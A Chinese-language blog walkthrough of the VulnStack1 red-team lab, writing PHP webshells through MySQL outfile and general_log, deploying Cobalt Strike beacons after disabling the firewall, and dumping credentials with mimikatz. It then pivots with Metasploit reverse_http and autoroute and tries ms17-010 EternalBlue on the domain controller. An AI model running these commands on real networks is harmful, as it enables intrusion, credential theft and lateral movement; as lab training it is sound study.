内网渗透靶机:VulnStack1

靶机简介

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,虚拟机所有统一密码:hongrisec@2019:

靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/#base

环境搭建

file

file

file

模拟外网:Vmnet1(192.168.52.0/24

WEB服务器:windows7系统

外网网卡IP192.168.0.129
内网网卡IP192.168.52.143

域成员:windows server 2003系统

网卡IP:192.168.52.141

域控服务器:windows server 2008系统

网卡IP192.168.52.138

攻击机器:kali Win10

kali IP:192.168.0.128
Win10 192.168.0.102

win7需要启动c盘下的phpstudy 如果报错 重启一下win7虚拟机 另外win7的网卡配置需要两张(vmnet1和nat网卡顺序不能错) file

注意 因为后期需要使用god.org这域名的dns解析,此解析是在域控中。但是因为win7我配置的是可以连接外网,而在外网中god.org已经有DNS解析了 所以需要修改可以连外网的网卡的DNS解析服务器地址为域控的ip

外网渗透

file 访问web发现php探针 然后有mysql 访问http://192.168.0.129/phpmyadmin/ root/root弱密码登录数据库

首先是数据库拿shell

测试写webshell

查看是否有写入权限

show variables like '%secure_file_priv%'

值为NULL 无写权限

如果为空 则可以写

select "<?php eval($_POST['1'])>" into outfile '/var/www/html/1.php'
select "<?php eval($_POST['1'])>" into dunpfile '/var/www/html/1.php'

利用日志记录写shell

开启日志记录

set global general_log='on'

查看日志文件位置

show variables like '%general%'

file 重新设置日志文件位置

set global general_log_file = "C:/phpStudy/www/1.php"

写入一句话

SELECT '<?php eval($_GET[1]);?>'

蚁剑连接 还有一种是通过网站后台拿webshell的就不演示了 内网为主

内网渗透及域渗透

上线cs 启动cs服务端

./teamserver 服务器ip 客户端连接的密码

创建监听 file 生成后门 在上传木马前 先关闭防火墙

netsh advfirewall set allprofiles state off

然后上传运行一下木马上线cs file

目标主机信息收集

file

whoami
hostname
net user:NET USER 用于创建和修改计算机上的用户帐户。 当不带选项使用本命令时,它会列出计算机上的用户帐户。 用户帐户的信息存储在用户帐户数据库中
net localgroup administrators:查看本地管理员

查看是什么操作系统 & 系统版本: 系统中文:systeminfo findstr /B /C:”OS 名称” /C:”OS 版本” 系统英文:systeminfo findstr /B /C:”OS Name” /C:”OS Version”

查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%

查询已安装的软件及版本信息:wmic product get name,version

在 win10 中,输入 wmic /? 会提示 wmic 已弃用,但在 server2012R2,win7 等版本中可以正常使用 powershell 中可替代该命令的是 Get-WmiObject: Get-WmiObject -class win32_product Select-Object -property name,version

查询进程及服务:tasklist tasklist /svc 默认显示映像名称,PID,服务

判断是否存在域

使用 ipconfig /all 查看 DNS 服务器: file

查看域信息:net view file

查看主域信息:net view /domain file

查看时间服务器:net time /domain 发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)

查询当前的登录域与用户信息:net config workstation

查找域控

net time /domain        #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain        #查看域用户
net view /domain        #查看有几个域
ipconfig /all        #查询本机IP段,所在域等 
net config Workstation  #当前计算机名,全名,用户名,系统版本,工作站域,登陆域 
net user           #本机用户列表
net group "domain computers" /domain   #查看域内所有的主机名 
net group "domain admins" /domain      #查看域管理员 
net group "domain controllers" /domain #查看域控

这里好像因为god.org在外网存在 所以一直nslookup god.org有多个ip 换成内网则可以查出 这里默认已经查出域控地址为 192.168.52.138

横向探测

file 在获取CobaltStrike Shell之后获取的是Administrator权限,使用ms14-058提权成功 使用mimikatz可以读取密码 file

进行其他主机发现扫描 可以使用 arp -a 也可以使用

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I  findstr "TTL="

这里使用ladon工具 https://github.com/k8gege/Aggressor/releases/tag/7.0 file 加载Ladon.cna脚本

Cscan 192.168.52.1/24 OnlinePC

file

横向移动

cs 上开通 socks 通道,在攻击机上用 proxychains 将攻击机的 msf 代入内网,但是 cs 的 socks 代理不稳定
ew 添加转接隧道,在攻击机上用 proxychains 将攻击机的 msf 代入内网
cs 派生到 msf,msf 使用 socks4a 代理进内网,但是并不稳定
cs 派生到 msf,msf 使用使用 autoroute 添加路由进内网
用 frp 创建 socks5 代理

SMB Beacon

SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效

简单来说,SMB Beacon 有两种方式

第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash 新建一个 Listener,payload 设置为 Beacon SMB: file 在已有的 Beacon上右键 Spawn(生成会话 / 派生),选择创建的 smb beacon 的 listerner: file 在次之前使用mimikatz获取密码

选择后会反弹一个子会话,在 external 的 ip 后面会有一个链接的小图标: file

这就是派生的 SMB Beacon,当前没有连接 file

可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它 第二种在已有的 beacon 上创建监听,用来作为跳板进行内网穿透

前提是能够通过 shell 之类访问到内网其他主机

psexec 使用凭证登录其他主机

前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息

于是可以尝试使用 psexec 模块登录其他主机

右键选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块: file

token 窃取

除了直接使用获取到的 hash 值,也可以直接窃取 GOD\Administrator 的 token 来登录其他主机 选择 beacon 右键 -> 目标 -> 进程列表 选择 GOD\Administrator 的 token 盗取: file 然后在选择令牌处勾选使用当前 token 即可

转发至MSF

这里不知道为啥 我的cs使用psexec获取不到beacon 看其他文章很多转到msf继续渗透的

MSF中开启监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.0.128
set lport 777
exploit

然后在cs中添加监听 file 增加会话 选择刚刚的MSFlisten监听 file file

使用run get_local_subnets查看当前路由 file 然后添加对应网段:run autoroute -s 192.168.52.0/24 添加路由段 file

先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口:

msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set rhosts 192.168.52.141
msf6 > set ports 80,135-139,445,3306,3389
msf6 > run

file 同样域控主机138也开启了445端口 file

使用ms17010永恒之蓝攻击开放445端口的主机

msf6 > search ms17_010 #搜索MSF集成的与ms17_010漏洞相关的模块
msf6 >use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
msf6 >set rhosts 192.168.52.141 #设置被扫描的主机IP
msf6 >run  #进行扫描,观察是否存在该漏洞

file 存在漏洞 接下来尝试利用永恒之蓝漏洞拿下域控主机192.168.52.138,使用 MSF 集成的 ms17-010 漏洞 EXP

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhosts 192.168.52.138
msf6 > run

这里我的不知道是什么问题 出错了 永恒之蓝比较容易蓝屏 拿shell不容易 这里就不演示了 不知道是我操作问题还是怎么回事 出现好多和别人不一样的问题。。


内网渗透靶机:VulnStack1
http://example.com/2021/08/12/OldBlog/内网渗透靶机:vulnstack1/
作者
Autumn
发布于
2021年8月12日
许可协议